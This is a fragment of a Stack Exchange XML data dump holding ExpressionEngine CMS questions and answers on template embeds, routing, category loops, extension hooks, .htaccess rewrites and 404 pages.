  <row Id="1942" PostTypeId="2" ParentId="1940" CreationDate="2012-12-20T11:36:56.593" Score="2" Body="&lt;p&gt;What I would be tempted to do is to slightly change the logic, keeping the embeds in the template - but using a plugin to do the conditionals:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$seg = $this-&amp;gt;EE-&amp;gt;uri-&amp;gt;segment(1);&#xA;&#xA;if ($seg=='')&#xA;{&#xA;    return 'home';&#xA;}&#xA;elseif (substr($seg,0,11)=='property-in')&#xA;{&#xA;    return 'in-town';&#xA;}&#xA;else&#xA;{&#xA;    return 'property';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then just use something like switchee, or even a series of conditionals to display the appropriate embed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{exp:plugin}&quot;==&quot;home&quot;}&#xA;    {embed=&quot;embeds/homepage&quot;}&#xA;{/if}&#xA;{if &quot;{exp:plugin}&quot;==&quot;in-town&quot;}&#xA;    {embed=&quot;embeds/property-in-town&quot;}&#xA;{/if}&#xA;{if &quot;{exp:plugin}&quot;==&quot;property&quot;}&#xA;    {embed=&quot;embeds/town-property&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18" LastActivityDate="2012-12-20T11:36:56.593" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1943" PostTypeId="2" ParentId="1940" CreationDate="2012-12-20T11:38:26.790" Score="3" Body="&lt;p&gt;The &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/template.html&quot; rel=&quot;nofollow&quot;&gt;Template class&lt;/a&gt; allows you to work with template data from inside a plugin, but I don't think it lets you do it in the way you're suggesting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I know, you can't directly ask a plugin to embed something, because it's working at a different level of the render stack than where you would normally call the {embed} tag. What you &lt;em&gt;can&lt;/em&gt; do is use the template class to render HTML, depending on what's inside the plugin tags, but that's as close as you can get, I think. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I read your code correctly, it seems you're trying to do some kind of URL routing. In which case, I'd hazard a guess you could probably achieve what you want by taking advantage of EE's built in routing. You could make a group called 'property-in', and then use the URL segments such as &lt;code&gt;{segment_1}&lt;/code&gt; or &lt;code&gt;{segment_2}&lt;/code&gt; to define which URL you want to get to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example: &lt;code&gt;/property-in/town&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you really want to use the substring function, you'd be better off installing a plugin like &lt;a href=&quot;http://devot-ee.com/add-ons/phpstringfun&quot; rel=&quot;nofollow&quot;&gt;phpstringfun&lt;/a&gt;, which allows you to call functions like &lt;code&gt;substr()&lt;/code&gt; from inside EE without PHP enabled in your templates. That seems like it would be less overhead for what you seem to want to get done.&lt;/p&gt;&#xA;" OwnerUserId="648" LastActivityDate="2012-12-20T11:38:26.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1944" PostTypeId="2" ParentId="1929" CreationDate="2012-12-20T11:54:08.623" Score="2" Body="&lt;p&gt;It appears that EE does assign classes to custom buttons, so for example an &lt;code&gt;aside&lt;/code&gt; button has the class &lt;code&gt;.btn_aside&lt;/code&gt;. You should be able to apply the default editor button CSS (see below) with a few tweaks to achieve what you're after.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;background: transparent url(../images/your_button.png) no-repeat;&#xA;text-indent: -10000px;&#xA;border: 0!important;&#xA;width: 19px;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you're looking for a quick and simple way of applying CSS within the control panel then the &lt;a href=&quot;http://devot-ee.com/add-ons/cp-css-js&quot; rel=&quot;nofollow&quot;&gt;CP CSS&lt;/a&gt; extension should do the trick.&lt;/p&gt;&#xA;" OwnerUserId="77" LastActivityDate="2012-12-20T11:54:08.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1945" PostTypeId="2" ParentId="1940" CreationDate="2012-12-20T12:04:45.557" Score="6" Body="&lt;p&gt;You probably don't need to build your own plugin for this. If that logic is all you have to worry about then &lt;a href=&quot;http://devot-ee.com/add-ons/switchee&quot;&gt;Switchee&lt;/a&gt; and a couple of regular expressions are all you need.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;{segment_1}&quot; parse=&quot;inward&quot;}&#xA;&#xA;    {!-- Seg 1 = empty. Embed homepage template. --}&#xA;    {case value=&quot;''&quot;}&#xA;        {embed=&quot;embeds/homepage&quot;}&#xA;    {/case}&#xA;&#xA;    {!-- Seg 1 starts with 'property-in'. Embed property-in-town template. --}&#xA;    {case value=&quot;#^property-in#&quot;}&#xA;        {embed=&quot;embeds/property-in-town&quot; url_title=&quot;{segment_1}&quot;}&#xA;    {/case}&#xA;&#xA;    {!-- Seg 1 is something else. Embed town-property template. --}&#xA;    {case default=&quot;yes&quot;}&#xA;        {embed=&quot;embeds/town-property&quot; url_title=&quot;{segment_1}&quot;}&#xA;    {/case}&#xA;&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You probably don't need to pass the &lt;code&gt;url_title&lt;/code&gt; embed vars either, as you can always use &lt;code&gt;{segment_1}&lt;/code&gt; within the embedded templates anyway.&lt;/p&gt;&#xA;" OwnerUserId="77" LastEditorUserId="77" LastEditDate="2012-12-20T12:19:56.353" LastActivityDate="2012-12-20T12:19:56.353" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1946" PostTypeId="2" ParentId="1940" CreationDate="2012-12-20T13:07:11.980" Score="1" Body="&lt;p&gt;If you really want to 'embed' a template from a plugin, you need to create an instance of the Template library to do the heavy lifting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add this class at the bottom of your plugin file (outside of the plugin class) or create a different file for it and include it in the plugin file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( ! class_exists('Inline_template'))&#xA;{&#xA;  if ( ! class_exists('EE_Template'))&#xA;  {&#xA;    require APPPATH.'libraries/template.php';&#xA;  }&#xA;&#xA;  class Inline_template extends EE_Template&#xA;  {&#xA;    function fetch_template($template_group, $template, $show_default = TRUE, $site_id = '')&#xA;    {&#xA;        if ($template_group == '!inline')&#xA;        {&#xA;            return $template;&#xA;        }&#xA;        else    &#xA;        {&#xA;            return parent::fetch_template($template_group, $template, $show_default, $site_id);&#xA;        }&#xA;    }&#xA;  }  &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then in your plugin code itself:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;run_template_engine('embeds', 'homepage');&#xA;return $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables_row($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;final_template, array(), true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should do the trick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;– Wouter&lt;/p&gt;&#xA;" OwnerUserId="76" LastActivityDate="2012-12-20T13:07:11.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1947" PostTypeId="1" AcceptedAnswerId="1951" CreationDate="2012-12-20T13:24:05.803" Score="3" ViewCount="201" Body="&lt;p&gt;Excuse me if this question is slightly unclear, as i'm having trouble working out the logic to it. On the feature section of my blog page - which can seen in the image attachment above. I am dragging data from the playa module to display feature previews of the most recently uploaded features posted onto the site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The features on my site are separated into  6 category sections, energy, sport, sleep, wellness, perform, relax. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to display one of each of the most recently uploaded features from each category. for the example, one feature will display a post from the the sleep category, one form the energy category and so on...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is want i have tagged in my template thus far. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:children field=&quot;feature_previews&quot; limit=&quot;6&quot;}&#xA;    &amp;lt;li&amp;gt;&#xA;        &amp;lt;a href=&quot;{url_title_path='blog/full-post'}&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;featured-tab {url_title}&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;img src=&quot;{feature_assets}{feature_preview_image}{/feature_assets}&quot; alt=&quot;placeholder&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;                &amp;lt;p&amp;gt;{feature_assets}{feature_copy}{/feature_assets}&amp;lt;/p&amp;gt;&#xA;            {/feature_assets}&#xA;&amp;lt;/li&amp;gt;&#xA;{/exp:playa:children}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From the tagging above is there anything i need to add in the loop order differentiate category per post?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VdMji.png&quot; alt=&quot;This demonstrates what i am trying to achieve&quot;&gt; &lt;/p&gt;&#xA;" OwnerUserId="459" LastEditorUserId="459" LastEditDate="2012-12-20T15:25:12.340" LastActivityDate="2012-12-20T15:25:12.340" Title="calling out categories in the Playa module" Tags="|templates|categories|matrix|playa|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1948" PostTypeId="1" CreationDate="2012-12-20T14:41:21.643" Score="2" ViewCount="254" Body="&lt;p&gt;I am trying to use the &lt;code&gt;entry_submission_start&lt;/code&gt; hook to be able to check the current settings before the extension updates them. I expected the hook to fire before the entry is submitted, but when I query the database, it has already been updated. Here is my code for the extension:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function functionName($entry_id, $meta, $data) {&#xA;    $query = mysql_query(“SELECT field_id_34 FROM exp_channel_data WHERE entry_id = ‘“.$entry_id.”’”);&#xA;    $assoc = mysql_fetch_assoc($query);&#xA;&#xA;    echo $assoc[‘field_id_34’];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="646" LastEditorUserId="104" LastEditDate="2012-12-20T15:37:14.680" LastActivityDate="2012-12-20T20:08:56.460" Title="entry_submission_start does not fire as expected" Tags="|extension|hook|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1949" PostTypeId="2" ParentId="1948" CreationDate="2012-12-20T14:54:54.773" Score="1" Body="&lt;p&gt;You have to use the Channel Entries API to get those hooks to fire. You will never get them to fire using a query. &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/api/api_channel_entries.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/development/api/api_channel_entries.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further more, you shouldn't even do it that way to begin with. CodeIgniter has an Active Record class to perform db queries. &lt;a href=&quot;http://ellislab.com/codeigniter/user-guide/database/active_record.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/codeigniter/user-guide/database/active_record.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Channel Entries API example&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;library('api');&#xA;$this-&amp;gt;EE-&amp;gt;api-&amp;gt;instantiate('channel_entries');&#xA;$this-&amp;gt;EE-&amp;gt;api-&amp;gt;instantiate('channel_fields');&#xA;&#xA;$data = array(&#xA;        'title'         =&amp;gt; 'Breaking News Story!',&#xA;        'entry_date'    =&amp;gt; '1256953732',&#xA;        'edit_date'     =&amp;gt; '1351653729',&#xA;        'field_id_6'    =&amp;gt; 'Some data',&#xA;        'field_ft_6'    =&amp;gt; 'none',&#xA;        'field_id_19'   =&amp;gt; 'More data',&#xA;        'field_ft_19'   =&amp;gt; 'xhtml'&#xA;);&#xA;&#xA;$this-&amp;gt;EE-&amp;gt;api_channel_fields-&amp;gt;setup_entry_settings($channel_id, $data);&#xA;&#xA;if ($this-&amp;gt;EE-&amp;gt;api_channel_entries-&amp;gt;submit_new_entry($channel_id, $data) === FALSE)&#xA;{&#xA;        show_error('An Error Occurred Creating the Entry');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Active Record Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $results = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;query($sql);&#xA; echo $results-&amp;gt;row('field_id_34');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="101" LastActivityDate="2012-12-20T14:54:54.773" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1950" PostTypeId="2" ParentId="1933" CreationDate="2012-12-20T15:19:52.293" Score="4" Body="&lt;p&gt;One of my long-standing add-on wishes is for something to help find and delete cruft like this in EE.  There's currently no good way in the UI to have EE show unused channels, fields, etc and it becomes easier to leave it alone than go through the gyrations required to clean house.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At one point I had managed to convince Joel Bradbury (@joelbradbury) to create such an add-on and he had a good start at it. I don't think he ever got around to publishing it - so maybe a helpful nudge in his direction would help.&lt;/p&gt;&#xA;" OwnerUserId="651" LastActivityDate="2012-12-20T15:19:52.293" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1951" PostTypeId="2" ParentId="1947" CreationDate="2012-12-20T15:20:40.690" Score="3" Body="&lt;p&gt;Playa's an odd solution for this problem, unless you're creating several pages that are linking to different sets of featured pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the goal is to simply display the most recently created feature in each category, an easier, self-managing approach would be to just loop through your categories and display the most recent post from each:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories style=&quot;linear&quot; category_group=&quot;1|2|3&quot; channel=&quot;x&quot; show_empty=&quot;no&quot;}&#xA;    {exp:channel:entries dynamic=&quot;no&quot; category=&quot;{category_id}&quot; limit=&quot;1&quot;}&#xA;       [all of your entry markup goes here]&#xA;    {/exp:channel:entries}&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are other approaches you could take as well, depending on your content; you could also use a custom field, status, or another category to flag articles as &quot;featured,&quot; and update the code above as appropriate.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2012-12-20T15:20:40.690" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1952" PostTypeId="1" CreationDate="2012-12-20T15:32:09.363" Score="6" ViewCount="90" Body="&lt;p&gt;I'm having issues removing index.php from the URLs even though mod_rewrite is enabled. My htaccess code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;    RewriteEngine On&#xA;    RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xA;    RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;    # If 404s, &quot;No Input File&quot; or every URL returns the same thing&#xA;    # Use instead of above: RewriteRule ^(.*)$ /index.php?/$1 [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="223" LastActivityDate="2012-12-20T15:53:04.077" Title="Unable to remove index.php under VM environment" Tags="|htaccess|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1953" PostTypeId="2" ParentId="1910" CreationDate="2012-12-20T15:41:47.987" Score="6" Body="&lt;p&gt;I worked through this with Justin and wanted to post this so others can use it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I have a mod file with a custom function that logs when an image is downloaded. My variables are all logged after being set up. Here's the variables:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$my_download = array();&#xA;&#xA;    $my_download[&quot;size&quot;] = $image_size;&#xA;    $my_download[&quot;entry_id&quot;] = $entry_id;&#xA;    $my_download[&quot;image_file&quot;] =  $image_file;&#xA;    $my_download[&quot;encoded_image_file&quot;] = '&amp;lt;img src=&quot;data:image/jpeg;base64,' . base64_encode( $image_file ) . '&quot; width=&quot;70&quot; /&amp;gt;';&#xA;    $my_download[&quot;image_path&quot;] = 'images/brands/'.$row['entry_id'].'/'.$row['title'].'__smallest.jpg';&#xA;    $my_download[&quot;image_title&quot;] = $image_title;&#xA;    $my_download[&quot;member_id&quot;] = $member_id;&#xA;    $my_download[&quot;company&quot;] = $company;&#xA;    $my_download[&quot;country_code&quot;] = $country_code;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then in that method I create a hook and push it to postmaster:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// -------------------------------------------&#xA;    // 'member_download_image_postmaster' hook.&#xA;    //  - Send Postmaster email after download has been recorded&#xA;    //&#xA;        if ($this-&amp;gt;EE-&amp;gt;extensions-&amp;gt;active_hook('member_download_image') === TRUE)&#xA;        {&#xA;            $edata = $this-&amp;gt;EE-&amp;gt;extensions-&amp;gt;call('member_download_image', $my_download);          &#xA;&#xA;            if($edata !== NULL) $my_download = $edata;&#xA;&#xA;            if ($this-&amp;gt;EE-&amp;gt;extensions-&amp;gt;end_script === TRUE) return;&#xA;        }&#xA;    //&#xA;    // -------------------------------------------&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From that, I created a simple custom hook from within the postmaster /third_party/postmaster/hooks/ folder:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Member_download_image_postmaster_hook extends Base_hook {&#xA;&#xA;protected $title = 'Member Download Image';&#xA;&#xA;public function __construct() {&#xA;parent::__construct();  &#xA;}   &#xA;public function trigger($my_download) {&#xA;    parent::send($my_download); &#xA;} &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then from within postmaster itself, I created a new hook instead of a parcel, v1.2 Postmaster at this point:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;h2&amp;gt;Image Download&amp;lt;/h2&amp;gt;&#xA;  &amp;lt;p&amp;gt; A user at Domain.com from: {hook:company} downloaded your image titled: {hook:image_title}, on {current_time format=&quot;%d/%m/%Y&quot;}&amp;lt;/p&amp;gt;&#xA;  &amp;lt;p&amp;gt;Image: &amp;lt;img src=&quot;http://domain.com/{hook:image_path}&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Each time someone downloads my image, it logs it to the DB and fires off a tasty html styled email. The {hook:var} tag is used instead of {parcel:var} as it is a hook and not a parcel, funnily enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a ton to Justin for this and I can't recommend &lt;a href=&quot;https://objectivehtml.com/postmaster/&quot;&gt;Postmaster&lt;/a&gt; enough if you are doing this sort of thing. &lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2012-12-20T15:41:47.987" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1954" PostTypeId="2" ParentId="1952" CreationDate="2012-12-20T15:53:04.077" Score="4" Body="&lt;p&gt;Found the answer &lt;a href=&quot;https://stackoverflow.com/questions/10938330/unable-to-remove-index-php-on-expressionengine-wamp-installation#answer-11906830&quot;&gt;from another question.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Had to add AllowOverride in httpd-vhosts.conf:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;Directory &quot;C:\Site\Root\Path&quot;&amp;gt;&#xA;    AllowOverride All&#xA;    Order Deny,Allow  &#xA;    Allow from all&#xA;&amp;lt;/Directory&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="223" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2012-12-20T15:53:04.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1955" PostTypeId="1" AcceptedAnswerId="1957" CreationDate="2012-12-20T15:56:01.600" Score="3" ViewCount="76" Body="&lt;p&gt;I recently installed the forum module on a site (currently running ee 2.5.2) and while the installation and set up went fine, any attempts to preview or post topics simply reloads the topic form page and does not successfully post the entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No code to post at this point but I would sure be interested in solving the problem of not being able to add entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2012-12-20T16:49:03.387" Title="Why can't I post topics on a Forum?" Tags="|forum|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1956" PostTypeId="1" CreationDate="2012-12-20T16:13:31.430" Score="3" ViewCount="1083" Body="&lt;p&gt;Is there a standard way to do 404 pages with structure? Many thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ben&lt;/p&gt;&#xA;" OwnerUserId="652" LastEditorUserId="77" LastEditDate="2012-12-20T16:33:12.337" LastActivityDate="2013-01-02T19:39:51.767" Title="Is there a standard way to do 404 pages with structure?" Tags="|ee2|templates|structure|404|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1957" PostTypeId="2" ParentId="1955" CreationDate="2012-12-20T16:17:01.167" Score="4" Body="&lt;p&gt;There's not much to go on here... but a shot in the dark would be to take a look at your .htaccess file (if you have one) - I've seen issues like this when using mod_rewrite before. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try removing your .htaccess file and accessing the forms with index.php in the URL.&lt;/p&gt;&#xA;" OwnerUserId="198" LastActivityDate="2012-12-20T16:17:01.167" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1958" PostTypeId="2" ParentId="1956" CreationDate="2012-12-20T16:17:48.523" Score="2" Body="&lt;p&gt;You can create a custom template for 404 pages and then select it using the &quot;Global Template Preferences&quot; control panel.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select &lt;strong&gt;Design | Templates | Global Preferences&lt;/strong&gt; in control panel&lt;/li&gt;&#xA;&lt;li&gt;Specify your custom &lt;strong&gt;404 Page&lt;/strong&gt; template&lt;/li&gt;&#xA;&lt;li&gt;Click &lt;strong&gt;Update&lt;/strong&gt; button&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I use this approach and it works fine with the Structure add-on.&lt;/p&gt;&#xA;" OwnerUserId="536" LastActivityDate="2012-12-20T16:17:48.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1959" PostTypeId="2" ParentId="1956" CreationDate="2012-12-20T16:18:49.440" Score="1" Body="&lt;p&gt;Also be sure to use the following inside your channel entries tagpair. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if no_results}&#xA;  {redirect=&quot;404&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="198" LastActivityDate="2012-12-20T16:18:49.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1960" PostTypeId="2" ParentId="1955" CreationDate="2012-12-20T16:49:03.387" Score="2" Body="&lt;p&gt;Are you running the latest version of ExpressionEngine with the latest version of the ExpressionEninge Forum module? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure you have the latest and greatest version of each downloaded from ellislab.com and installed. If you are using an htaccess file temporarily remove it and run through the standard index.php url structure to see if you can pinpoint your issues. &lt;/p&gt;&#xA;" OwnerUserId="125" LastActivityDate="2012-12-20T16:49:03.387" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1961" PostTypeId="2" ParentId="1956" CreationDate="2012-12-20T17:02:40.667" Score="18" Body="&lt;p&gt;There are several strategies for best utilizing 404s on a Structure site:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Hide Structure Templates to Prevent Duplicate URLs&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;First, make sure that any Structure-assigned templates are either hidden, or inside a hidden template group (prepend the group or template name with &quot;_&quot; or &quot;.&quot; - so &quot;_blog&quot; or &quot;.blog&quot;). This ensures that there is no duplicate EE URL in addition to the Structure URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if I create a blog using Structure, and I have a template group like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;blog&#xA;&lt;ul&gt;&#xA;&lt;li&gt;index&lt;/li&gt;&#xA;&lt;li&gt;post&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;When I publish a blog post, it will actually exist at 2 URLs: /blog/my-blog-post (Structure) and /blog/post/my-blog-post (native EE). By making your Structure templates hidden, you are eliminating the possiblility of the second, native EE URL, because if someone tries to navigate directly to a hidden template, they get a 404.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Set Homepage Structure URL to &quot;/&quot;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Go to the Structure tab on your homepage's publish page, and change &quot;Structure Page URL&quot; to &quot;/&quot;. This will prevent your homepage from being displayed at the URL &quot;/home&quot;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Use Conditionals to 404 on Non-Existant Segments&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Here are a couple of snippets you should use on every template:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;At the Top of the Template:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_x == ''}&#xA;    {redirect='404'}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &quot;x&quot; is the segment &lt;em&gt;after&lt;/em&gt; the last segment you would expect in the URL. So for a blog page (/blog/my-blog-post), you would use &lt;code&gt;segment_3&lt;/code&gt;, because you'd never expect anything after the second segment with the blog post (like /blog/my-blog-post/boo).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your &lt;code&gt;{exp:channel:entries}&lt;/code&gt; tag, you should add the parameter &lt;code&gt;require_entry='yes'&lt;/code&gt;, and add an &lt;code&gt;if no_results&lt;/code&gt; conditional, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel='blog'&#xA;    limit='1'&#xA;    disable='pagination|categories|member_data'&#xA;    require_entry='yes'&#xA;}&#xA;    {if no_results}&#xA;        {redirect='404'}&#xA;    {/if}&#xA;&#xA;    {!-- Your Blog Content --}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will ensure that a 404 will be returned if someone enters a non-existant URL title. Structure &lt;em&gt;should&lt;/em&gt; do this automatically, but I like to do it anyway as an added insurance policy. Note that you should only do this on dynamic, single-entry pages. It won't work on listing pages with &lt;code&gt;dyanmic='no'&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Use an Embedded Template to Pass Varaibles for Non-Structure-Managed Pages&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I use an embedded template for the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; section of my document so I can pass it variables. That way, I can give pages that aren't managed by Structure (like the 404 page) unique titles without resorting to crazy conditional tomfoolery. For example, in my 404 page template, I'll put:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed='_global/document_head' page_title='404 Page Not Found'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in the &lt;code&gt;_global/document_head&lt;/code&gt; template, I'll have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if embed:page_title}&#xA;   &amp;lt;title&amp;gt;{embed:page_title} | Sam's Elephant Warehouse&amp;lt;/title&amp;gt;&#xA;{/if}&#xA;{if embed:page_title == ''}&#xA;   &amp;lt;title&amp;gt;{structure:page:title} | Sam's Elephant Warehouse&amp;lt;/title&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This technique also works great if you're using an SEO extension like SEO Lite or Better Meta and you want to pass meta data to pages that aren't managed by the extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do that stuff, and be sure to read Ryan Battle's kickass &lt;a href=&quot;http://joviawebstudio.com/index_ee.php/blog/guide_to_404_pages_with_expressionengine/&quot;&gt;Guide to 404 Pages&lt;/a&gt;, and you'll be good to go.&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="5" LastEditDate="2013-01-02T19:39:51.767" LastActivityDate="2013-01-02T19:39:51.767" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1962" PostTypeId="5" CreationDate="2012-12-20T17:07:21.570" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2012-12-20T17:07:21.570" LastActivityDate="2012-12-20T17:07:21.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
